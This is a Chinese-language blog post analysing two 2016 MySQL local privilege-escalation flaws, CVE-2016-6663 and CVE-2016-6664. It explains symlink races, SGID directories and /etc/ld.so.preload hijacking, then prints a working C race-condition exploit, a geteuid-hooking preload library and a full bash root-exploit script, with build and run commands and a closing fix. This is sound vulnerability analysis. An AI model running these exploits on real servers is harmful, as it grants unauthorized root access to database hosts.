MySQL 条件竞争 / 本地提权漏洞分析

0x0 前言

这篇文章其实已经酝酿很久了,但是因为时(tou)间(lan)关系迟迟没有下笔。最近 Dawid Golunski 菊苣又放出基于 Debian 的 Nginx 本地提权漏洞,漏洞形成与利用原理和之前 MySQL 相同,所以打算整理一下,记录下来。

0x1 概述

11 月初放出的两个 MySQL 漏洞:CVE-2016-6663CVE-2016-6664,通过前者先得到 MySQL 用户权限,以此作为铺垫,再结合第二个漏洞可提升至 root 权限。两者都是利用软链接来完成攻击。

0x2 预备知识

Linux 的软链接类似于 Windows 下的快捷方式,其包含目标文件的路径,这个大家应该已经滚瓜烂熟了。需要注意一点的是,软链接指向的文件不需要一定存在:

symlink_no_exists.png

文件权限,当覆盖一个文件时,会保留被覆盖文件的用户和组:

file_prev_reserve.png

0x3 MySQL 条件竞争漏洞

MySQL 创建表时,可以用 DATA DIRECTORY 指定一个储存路径:

create_tmp_table.png

生成的表文件的用户和组都为 mysql,权限为 rw-rw—-,即其他用户没有任何权限:

mysql_tmp_table.png

MySQL 中有一个 repair 语句用于修复数据表,而问题便存在于这个过程中,首先使用 strace 跟踪 mysqld 进程的调用:

strace -f -p MYSQLD_PID

参数 -f 表示跟踪子进程,-p 指定 mysqld 的进程 ID。

strace_mysqld.png

执行 repair 命令:

mysql_repair.png

查看调用过程:

strace_repair_in_mysql.png

首先创建一个临时文件(*.TMD),然后将原文件的权限和用户组全部复制到临时文件,最后删除原文件,临时文件作为新的表。

0x4 问题重现

为了更加形象的展示问题所在,先把数据表上设置 SUID 位,并且为 777 权限:

show_me_the_problem.png

重新执行 repair 语句,strace 跟踪:

previlege_reserved.png

如图,旧数据表 4777 的权限完全带入到临时文件中

0x5 利用

这个竞争漏洞就是存在于打开临时文件设置权限这个过程,首先预设置原文件权限为 777,再通过软链接替换临时文件,来读取其他文件。通常 mysqld 以 mysql 用户运行,可以将软链接指定到 /var/lib/mysql 下的任意数据文件。

知道利用思路后,我们要解决一些问题:

  • MySQL 创建的文件只有 mysql 用户才能修改其权限

Linux 下有个奇妙的位,SGID 位

SUID 和 SGID 是 Linux 下文件的特殊标志位,SUID 用于运行时获取文件所有者权限,仅作用于可执行文件,这也是为什么普通用户运行 passwd 可以读写 shadow 文件。

而 SGID 对可执行文件和目录都有效:对于可执行文件,同 SUID 类似;

对于目录,当用户在目录下新建文件时,新文件的 组用户目录所属组 一致:

sgid.png

如图,当 tables 目录具有 SGID 标志位时,新生成的表的组为 foobar,因此 foobar 组用户也具备读写表的权限。

但是要注意,文件用户仍属于 mysql 用户,无法设置其权限。但是我们具有读写权限,可以将其移除,建立一个属于当前用户的文件进行替换。

0x6 权限提升的前夕

除了读取数据文件,我们可以尝试获取一个带 SUID 位的 shell,执行时用户为 mysql,结合第二个漏洞可以提升至 root 权限。

如何让带 SUID 的 bash 属于 mysql 用户?利用文件覆盖,仍然保留用户和组的情况,我们可以先建立一个表,然后使用 bash 覆盖该表,此时 bash 属于 mysql 用户。

这样我们的问题都解决了,上关键 PoC 注释:

// 建立临时目录,设置 SGID 位
system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
system("chmod g+s /tmp/" EXP_DIRN );

// 创建两个表
// mysql_suid_shell 用来替换为 bash,因为覆盖文件后权限仍然保留,所以 bash 的用户为 mysql,之后我们的 SUID 程序才能具有 mysql 权限
// exploit_table 用于替换软链接,指向复制过来的 bash,SUID 标识会被设置到 bash 上
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);

// 复制 bash 替换第一个表,注意 SGID 的作用,此时权限为 mysql:attacker
system("cp /bin/bash " SUID_SHELL);

// 设置文件创建和关闭提醒通知,在接收到通知后我可以立即替换临时文件
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);

// 竞争循环,直到修改成功
while ( is_shell_suid != 1 ) {
    cnt++;
	if ( (cnt % 100) == 0 ) {
	    printf("->");
	}

    /* 上一次竞争失败留下来的,先删除并重新建立第一个表 */
    unlink(MYSQL_TEMP_FILE);
    unlink(MYSQL_TAB_FILE);
	mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
	mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);

    // Fork 一个子进程
    pid = fork();
    if (pid < 0) {
        fprintf(stderr, "Fork failed :(\n");
    }

    /* 子进程去执行有问题的 repair 命令 */
    if (pid == 0) {
        usleep(500);
        unlink(MYSQL_TEMP_FILE);
    	mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
        // child stops here
        exit(0);
    }

    /* 父进程 */
    if (pid > 0 ) {
        io_notified = 0;

        while (1) {
            int processed = 0;
            // 是否收到文件创建或关闭通知
            ret = read(fd, buf, sizeof(buf));
            if (ret < 0) {
                break;
            }
            while (processed < ret) {
                event = (struct inotify_event *)(buf + processed);
                // 有文件关闭了并且是目标临时文件
                if (event->mask & IN_CLOSE) {
                    if (!strcmp(event->name, "exploit_table.TMD")) {
                        // 删除原表文件,因为文件属于 mysql,无法更新其权限
			            unlink(MYSQL_TAB_FILE);
			            // 新建同名文件进行替换
                        // 由于这个文件的用户和组是当前脚本的运行用户
                        // mysqld 以 mysql 用户运行,执行 chown 时返回失败,SUID 位成功保留
			            myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
			            close(myd_handle);
                        // 修改源数据表为 4777,具有 SUID
			            chmod(MYSQL_TAB_FILE, 04777);

            			// 删除临时文件,替换为 bash 的软链接
                        unlink(MYSQL_TEMP_FILE);
                        symlink(SUID_SHELL, MYSQL_TEMP_FILE);
                        io_notified=1;
                    }
                }
                processed += sizeof(struct inotify_event);
            }
            if (io_notified) {
                break;
            }
        }
        waitpid(pid, &status, 0);
    }

    // 检查 bash 是否具有 SUID 位
    if ( lstat(SUID_SHELL, &st) == 0 ) {
	    if (st.st_mode & S_ISUID) {
	    	is_shell_suid = 1;
	    }
    } 

}

// 运行 bash,用户为 mysql
system(SUID_SHELL " -p -i ");

安装依赖:

yum install mysql-devel

编译:

gcc exp.c -o mysql-privesc-race -I/usr/include/mysql -L/usr/lib64/mysql -lmysqlclient

运行:

./mysql-privesc-race foobar bullshit localhost foobar

exploit.png

0x7 MySQL 本地权限提升

这个漏洞主要是 MySQL 对日志文件处理时没有进行安全过滤,MySQL 启动时,通常会生成一个日志文件记录进程信息:

mysql_error_log_file.png

位于 /usr/bin/mysql_safe 脚本负责启动 MySQL 进程并创建相关文件。当创建日志文件时,会修改文件权限和所属用户/组:

mysql_safe.png

通过上面的漏洞获取具有了 mysql 用户权限的 shell,我们可以再次通过软链接来劫持日志文件。

在谈利用之前先说一下 /etc/ld.so.preload 这个文件,在 Linux 下有一种 hook 技术:LD_PRELOAD。装载器在装载程序动态库之前,会检测 LD_PRELOAD 变量,并优先加载其指定的动态库,这样我们可以 hook 相应的动态库函数。

但是 LD_PRELOAD 环境变量无法影响到 SUID 程序,否则就得上天了。出于这种限制,Linux 提供了 /etc/ld.so.preload 文件,即使是加载 SUID 程序,也会优先加载该文件指定的动态库。

最终利用思路,便是建立一个软链接指向 /etc/ld.so.preload,mysql_safe 脚本运行后修改文件权限,属于 mysql 用户。

而通过第一个漏洞我们获取到属于 mysql 用户的 shell,向该文件写入负责提权的动态库路径,最后运行 SUID 程序,获取 root 权限。

需要重启 MySQL 服务才能使脚本操作日志,但是我们无需 root 权限来重启 MySQL 服务。mysqld 运行用户属于 mysql,可以将其结束。而 mysql_safe 脚本会循环检测 mysqld 进程的运行情况,并自动重启进程。

万事俱备,只欠东风。

首先动态库负责 hook geteuid 函数,设置一个用户为 root 的 SUID shell:

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BACKDOORPATH "/tmp/bash"

uid_t geteuid(void) {
	static uid_t  (*old_geteuid)();
	old_geteuid = dlsym(RTLD_NEXT, "geteuid");
	if ( old_geteuid() == 0 ) {
		chown(BACKDOORPATH, 0, 0);
		chmod(BACKDOORPATH, 04777);
		//unlink("/etc/ld.so.preload");
	}
	return old_geteuid();
}

完整脚本:

#!/bin/bash -p
#
# MySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit
# mysql-chowned.sh (ver. 1.1)
#
# CVE-2016-6664 / CVE-2016-5617
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# This PoC exploit allows attackers to (instantly) escalate their privileges
# from mysql system account to root through unsafe error log handling.
# The exploit requires that file-based logging has been configured (default).
# To confirm that syslog logging has not been enabled instead use:
# grep -r syslog /etc/mysql
# which should return no results.
#
# This exploit can be chained with the following vulnerability:
# CVE-2016-6663 / CVE-2016-5616
# which allows attackers to gain access to mysql system account (mysql shell).
#
# In case database server has been configured with syslog you may also use:
# CVE-2016-6662 as an alternative to this exploit.
#
# Usage:
# ./mysql-chowned.sh path_to_error.log 
#
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
#
# Video PoC:
# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/mysqlrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
  # Cleanup 
  echo -e "\n[+] Cleaning up..."
  rm -f $PRIVESCSRC
  rm -f $PRIVESCLIB
  rm -f $ERRORLOG
  touch $ERRORLOG
  if [ -f /etc/ld.so.preload ]; then
    echo -n > /etc/ld.so.preload
  fi
  echo -e "\n[+] Job done. Exiting with code $1 \n"
  exit $1
}

function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
  cleanexit 0
}

#intro 
echo -e "\033[94m \nMySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / CVE-2016-5617\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
  echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
  echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
  exit 3
fi

# Priv check

echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id | grep -q mysql 
if [ $? -ne 0 ]; then
  echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
  exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
  echo -e "\n[!] The specified MySQL error log ($ERRORLOG) doesn't exist. Try again.\n"
  exit 3
fi
echo -e "\n[+] Target MySQL log file set to $ERRORLOG"

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

uid_t geteuid(void) {
  static uid_t  (*old_geteuid)();
  old_geteuid = dlsym(RTLD_NEXT, "geteuid");
  if ( old_geteuid() == 0 ) {
    chown("$BACKDOORPATH", 0, 0);
    chmod("$BACKDOORPATH", 04777);
    //unlink("/etc/ld.so.preload");
  }
  return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
  echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
  cleanexit 2;
fi# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
  echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
  exit 2
fi

# Symlink the log file to /etc
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
  echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
  cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"

# Wait for MySQL to re-open the logs
echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
echo -n "Do you want to kill mysqld process `pidof mysqld` to instantly get root? :) ? [y/n] "
read THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
  echo -e "Got it. Executing 'killall mysqld' now..."
  killall mysqld
fi
while :; do 
  sleep 0.1
  if [ -f /etc/ld.so.preload ]; then
    echo $PRIVESCLIB > /etc/ld.so.preload
    rm -f $ERRORLOG
    break;
  fi
done

# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null

#while :; do 
#	sleep 0.1
#	ps aux | grep mysqld | grep -q 'log-error'
#	if [ $? -eq 0 ]; then
#		break;
#	fi
#done

# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
  echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
  echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
else
  echo -e "\n[!] Failed to get root"
  cleanexit 2
fi# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0

运行脚本,成功提权:

mysql_pwn.png

这里其实还有一些坑:

首先是 Exploit-db 上提供的提权脚本使用的是 CRLF 格式,运行时会报错,需要转换为 Unix-LF,dos2unix 可以快速转换:

cat mysql.sh | dos2unix > mysql_pwn.sh

另外是默认情况下 MySQL 的日志位于 /var/log/mysqld.log,而普通用户对 /var/log 并没有写入权限,无法正常删除替换日志,这种情况下无法提权。

0x8 漏洞修复

由于权限提升的前提条件是获取一个属于 mysql 的 SUID shell,可以在 MySQL 配置中加入如下配置,禁用 MySQL 操作数据表的软链接特性:

symbolic-links = 0

参考资料

MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit

MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit

LD_PRELOAD vs. /etc/ld.so.preload

ld.so(8) - Linux manual page

鳥哥的 Linux 私房菜 – 第六章、Linux 檔案與目錄管理 - 檔案特殊權限: SUID, SGID, SBIT